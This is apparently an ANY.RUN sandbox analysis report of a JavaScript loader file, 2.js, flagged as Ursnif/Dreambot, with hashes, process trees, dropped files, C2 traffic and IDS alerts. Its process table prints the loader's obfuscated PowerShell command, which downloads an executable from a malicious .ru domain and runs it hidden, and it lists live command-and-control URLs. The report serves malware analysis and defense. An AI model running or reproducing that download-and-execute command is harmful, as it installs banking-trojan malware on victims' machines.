analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

2.js

Full analysis: https://app.any.run/tasks/8fa71135-ecc2-437a-b172-764df12a8145
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: April 25, 2019, 02:33:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
gozi
ursnif
evasion
dreambot
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

D57272D3A3B2D3815B5E17A7582848CD

SHA1:

936470E2327FF42DCB9DC2986F813FCAF2DC0C77

SHA256:

FD94742984AA544E655443FA4DAD758288AAEC94A0A10A9049C65D7387A7079A

SSDEEP:

1536:QjnbeIgFBhQqZ2wUrDvEmA47Q/dU/KQMY7oPcSm+hEfDdFy7ntM:QjbeIQBhQqZ2prDvEP4AtM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Downloads executable files from the Internet

      • powershell.exe (PID: 1356)

    • Application was dropped or rewritten from another process

      • TemphPF56.exe (PID: 1252)

    • Detected URSNIF Trojan

      • TemphPF56.exe (PID: 1252)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2780)

    • Application was injected by another process

      • explorer.exe (PID: 2044)

    • URSNIF Shellcode was detected

      • explorer.exe (PID: 2044)

    • Connects to CnC server

      • explorer.exe (PID: 2044)

    • Changes the autorun value in the registry

      • explorer.exe (PID: 2044)

    • Runs injected code in another process

      • TemphPF56.exe (PID: 1252)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 960)
      • explorer.exe (PID: 2044)

    • Executes scripts

      • explorer.exe (PID: 2044)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1356)

    • Creates files in the user directory

      • powershell.exe (PID: 1356)
      • TemphPF56.exe (PID: 1252)

    • Checks for external IP

      • nslookup.exe (PID: 3444)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start inject wscript.exe no specs cmd.exe no specs powershell.exe #URSNIF temphpf56.exe no specs #URSNIF explorer.exe cmd.exe no specs nslookup.exe cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
960"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\2.js"C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2780"C:\Windows\System32\cmd.exe" /c KwZjlLbNGiBSdxn & p^owEr^she^lL.e^Xe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://news-medias.ru/report.exe','%temp%hPF56.exe'); & start %temp%hPF56.exe & pguGFVTMdBEiAekC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1356powErshelL.eXe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://news-medias.ru/report.exe','C:\Users\admin\AppData\Local\TemphPF56.exe'); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1252C:\Users\admin\AppData\Local\TemphPF56.exe C:\Users\admin\AppData\Local\TemphPF56.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2044C:\Windows\Explorer.EXEC:\Windows\explorer.exe
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3832cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\admin\AppData\Local\Temp\C9BE.bi1"C:\Windows\system32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3444nslookup myip.opendns.com resolver1.opendns.com C:\Windows\system32\nslookup.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1216cmd /C "echo -------- >> C:\Users\admin\AppData\Local\Temp\C9BE.bi1"C:\Windows\system32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
342
Read events
260
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
3
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
1356powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FFZS8N291DRE0QVQS0PL.temp —
MD5:—
SHA256:—
1252TemphPF56.exeC:\Users\admin\AppData\Roaming\Microsoft\Devivmgr\crypptsp.exe —
MD5:—
SHA256:—
3832cmd.exeC:\Users\admin\AppData\Local\Temp\C9BE.bi1 —
MD5:—
SHA256:—
1216cmd.exeC:\Users\admin\AppData\Local\Temp\C9BE.bi1 —
MD5:—
SHA256:—
2044explorer.exeC:\Users\admin\AppData\Local\Temp\7A57.bin —
MD5:—
SHA256:—
1356powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF112eae.TMPbinary
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF
SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5
2044explorer.exeC:\Users\admin\AppData\Local\Temp\9000.bincompressed
MD5:C89FEAAF01F5D05A05464674BDE47DF9
SHA256:C61D6861FCE627968CF31368B064D7417BFC7016022C26FB945222FAAABAB044
1356powershell.exeC:\Users\admin\AppData\Local\TemphPF56.exeexecutable
MD5:67F1AB2758F9A47F3B30C6447B968C4B
SHA256:84A469121B3178CE52B18421E26EFE685EAC3B04C7306DFED433ED496C155C6D
1356powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF
SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5
2044explorer.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.jstext
MD5:EA951E8DDC3A84DC9A28CA777C788BC4
SHA256:2B2B0C33BB0B2EC46C902F23C5C4ACE0D4745E5F3776C159A5E8D631ECB0CB60
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
6
DNS requests
7
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2044
explorer.exe
GET
—
188.142.189.159:80
http://adonis-medicine.at/images/n41LQOxR8Z4Pme8nQVGI7C2/QA2Jz_2FUE/_2FMNxlEzwGWqPZcj/x6Q8_2FpoKTF/tJHDkOKgy2C/LGmfRWQYGgOOg_/2F9ba1OX3cKOsl7SuAsxv/4eIjdU6XQQYwrKeu/w_2BfuXf7ReZZZe/74s1QSjd9S1Andd13B/fF6rBdoyi/m0Dadi9yLf20yGWW5JjN/n6rgbxbZnd1/bV0xz.gif
HU
—
—
malicious
1356
powershell.exe
GET
200
181.197.131.40:80
http://news-medias.ru/report.exe
PA
executable
511 Kb
malicious
2044
explorer.exe
POST
—
188.142.189.159:80
http://adonis-medicine.at/images/bALIs0qXX/S7H24HHcF2CPD4LMVCnI/pquJrsvoVQTvMRffDVw/j3u9ofnn8v4H_2FiyBWTVj/64_2FneShkIm0/68RO3yRc/Tn1t5oU4UL1OWgeCZJZDAez/jaQwv2PPx_/2F4LrfpL263ADS5fs/IIh5eFbpzCwD/Tw8pSxKRvF4/V4hRKrHwJ1hRLF/01jUwSdzpyiw0Xw8hOFdx/ij9Tlx5TcKlD0/4aHrJ0eb.bmp
HU
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3444
nslookup.exe
208.67.222.222:53
resolver1.opendns.com
OpenDNS, LLC
US
malicious
—
—
208.67.222.222:53
resolver1.opendns.com
OpenDNS, LLC
US
malicious
1356
powershell.exe
181.197.131.40:80
news-medias.ru
Cable Onda
PA
suspicious
2044
explorer.exe
188.142.189.159:80
news-medias.ru
Liberty Global Operations B.V.
HU
suspicious

DNS requests

Domain
IP
Reputation
news-medias.ru
  • 181.197.131.40
  • 78.90.243.124
  • 188.254.142.85
  • 188.142.189.159
  • 5.56.73.146
  • 37.75.33.242
  • 194.204.25.137
  • 213.176.4.248
  • 203.91.116.53
  • 37.152.176.90
malicious
11totalzaelooop11.club
  • —
unknown
resolver1.opendns.com
  • 208.67.222.222
shared
222.222.67.208.in-addr.arpa
  • —
unknown
myip.opendns.com
  • 185.253.99.196
shared
adonis-medicine.at
  • 188.142.189.159
  • 5.56.73.146
  • 37.75.33.242
  • 194.204.25.137
  • 213.176.4.248
  • 203.91.116.53
  • 37.152.176.90
  • 181.197.131.40
  • 78.90.243.124
  • 188.254.142.85
malicious

Threats

PID
Process
Class
Message
1356
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1356
powershell.exe
Misc activity
ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)
3444
nslookup.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup)
3444
nslookup.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup)
2044
explorer.exe
A Network Trojan was detected
ET TROJAN Ursnif Variant CnC Beacon
2044
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
2044
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot HTTP
2044
explorer.exe
A Network Trojan was detected
ET TROJAN Ursnif Variant CnC Data Exfil
2044
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
2044
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot HTTP
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
2.js